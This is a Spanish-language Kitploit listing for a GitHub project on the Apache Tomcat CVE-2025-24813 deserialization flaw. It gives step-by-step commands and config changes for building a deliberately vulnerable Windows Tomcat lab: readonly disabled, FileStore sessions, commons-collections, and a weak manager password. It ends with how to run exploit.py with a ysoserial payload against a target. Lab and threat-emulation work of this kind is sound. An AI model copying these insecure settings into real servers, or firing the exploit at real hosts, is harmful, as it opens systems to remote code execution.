Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-24813 — Instrucciones para el despliegue rápido de Tomcat v9.0.90 con java 25.0.1 2025-10-21 LTS en Windows Server 2019 Standard para investigadores perezosos. | Kitploit
Herramientas/GitHubGitHub/seahcy/cve-2025-24813
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubseahcy/cve-2025-24813

CVE-2025-24813

Instrucciones para el despliegue rápido de Tomcat v9.0.90 con java 25.0.1 2025-10-21 LTS en Windows Server 2019 Standard para investigadores perezosos.

Ver Repositorio
1hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-24813

Descripción

Este repositorio pretende proporcionar instrucciones claras para el despliegue rápido de Tomcat v9.0.90 con java 25.0.1 2025-10-21 LTS en Windows Server 2019 Standard para un ejercicio de emulación de amenazas de ciberseguridad. El exploit.py utiliza ysoserial-all.jar para crear un payload mediante el módulo CommonsCollections6 de ysoserial-all.jar, que posteriormente es deserializado por la dependencia commons-collections-3.2.1.jar en %CATALINA_HOME%\webapps\ROOT\WEB-INF\lib.

Configuración del terminal de Windows Server 2019 Standard de la víctima

  • Descargar Tomcat v9.0.90:
root@kitploit:~
Invoke-WebRequest -Uri "https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90-windows-x64.zip" -OutFile "apache-tomcat-9.0.90-windows-x64.zip"
Expand-Archive -Path "apache-tomcat-9.0.90-windows-x64.zip" -DestinationPath "C:\"
  • Descargar java 25.0.1 2025-10-21 LTS (versión ZIP):
root@kitploit:~
Invoke-WebRequest -Uri "https://download.oracle.com/java/25/archive/jdk-25_windows-x64_bin.zip" -OutFile "jdk-25_windows-x64_bin.zip"
Expand-Archive -Path "jdk-25_windows-x64_bin.zip" -DestinationPath "C:\"
  • Descargar la dependencia commons-collections:
root@kitploit:~
mkdir C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
cd C:\apache-tomcat-9.0.90\webapps\ROOT\WEB-INF\lib\
Invoke-WebRequest -Uri "https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar" -OutFile "commons-collections-3.2.1.jar"
  • Configuración de las variables de entorno
root@kitploit:~
1. Click on Start
2. Type "edit the system environment variables"
3. Create two new System Variables named 
    - `%JAVA_HOME%` with value `C:\jdk-25.0.1`
    - `%CATALINA_HOME%` with value `C:\apache-tomcat-9.0.90`
4. Edit the System Variable named `Path`, and add the following values:
   - `%JAVA_HOME%\bin`
   - `%CATALINA_HOME%\bin`
  • Creación de un servicio para el inicio automático
root@kitploit:~
C:\apache-tomcat-9.0.90\bin\service.bat install Tomcat9Server
Set-Service -Name "Tomcat9Server" -StartupType Automatic
Start-Service -Name "Tomcat9Server"
  • Abra tomcat-users.xml en la carpeta tomcat-9.0.90\conf y añada lo siguiente ANTES de </tomcat-users>:
root@kitploit:~
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
  • Abra context.xml en la carpeta tomcat-9.0.90\conf y reemplace TODO el contenido por lo siguiente:
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<!-- The contents of this file will be loaded for each web application -->
<Context>

    <Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
        <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>
</Context>
  • Abra web.xml en la carpeta tomcat-9.0.90\conf, busque DefaultServlet y reemplace todo el bloque <servlet></servlet> por lo siguiente:
root@kitploit:~
<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>
        <init-param>
          <param-name>readonly</param-name>
          <param-value>false</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
  • Reinicie su servidor con powershell
root@kitploit:~
shutdown.bat
startup.bat
  • Si no puede conectarse al servidor web externamente, puede que Windows Firewall lo esté bloqueando. Configure su firewall para permitir la conexión.
root@kitploit:~
New-NetFirewallRule -DisplayName "Tomcat9Server" -Direction Inbound -Protocol TCP -LocalPort 8080 -Action Allow
  • ¡Enhorabuena! Acaba de habilitar un servidor Tomcat vulnerable con capacidades de deserialización de Java mediante commons-collections-3.2.1.jar, persistencia de sesión a través de FileStore, y protección readonly deshabilitada en DefaultServlet (web.xml), lo que lo hace susceptible a la explotación de CVE-2025-24813 mediante payloads de ysoserial. Añada un index.html de apariencia legítima en C:\tomcat-9.0.90\webapps\ROOT para que parezca más sofisticado.

Configuración de SSL para HTTPS (Opcional)

  • Abra C:\apache-tomcat-9.0.90\conf\web.xml con el bloc de notas y busque "<Connector port=". Puede descomentar el bloque y añadir su propia ruta .pfx. A continuación se muestra un ejemplo de cómo añadir un cert.pfx en una carpeta ssl recién creada, sin contraseña y ejecutando HTTP/1.1:
root@kitploit:~
<Connector port="443" 
           protocol="org.apache.coyote.http11.Http11NioProtocol"
           maxThreads="150" 
           SSLEnabled="true"
           scheme="https" 
           secure="true">
    <SSLHostConfig>
        <Certificate certificateKeystoreFile="C:\tomcat-9.0.90\conf\ssl\cert.pfx"
                     certificateKeystorePassword=""
                     certificateKeystoreType="PKCS12" />
    </SSLHostConfig>
</Connector>
  • Añada la regla de firewall si es necesario:
root@kitploit:~
New-NetFirewallRule -DisplayName "Tomcat9HTTPSServer" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow

Configuración de tu Kali

  • Clonando exploit.py
root@kitploit:~
git clone <this-repo-url>
cd CVE-2025-24813
pip install requests 
  • Comprobando si tienes java y descargando ysoserial desde Github
root@kitploit:~
java --version
curl -L -o ysoserial-all.jar https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
  • Ejemplos de uso:
root@kitploit:~
python exploit.py -t http://<target IP>:8080/ -c "cmd.exe /c calc.exe"

Resultado esperado y artefactos

  • En cada ejecución de exploit.py, se crearán dos archivos de sesión en C:\tomcat-9.0.90\webapps\ROOT y C:\tomcat-9.0.90\work\Catalina\localhost\ROOT con un nombre aleatorio. El .session dentro de la carpeta work debería eliminarse unos segundos después de la ejecución.

Referencias

  • https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2025-03-14-Testing-CVE-2025-24813.md
  • https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
Descargar herramienta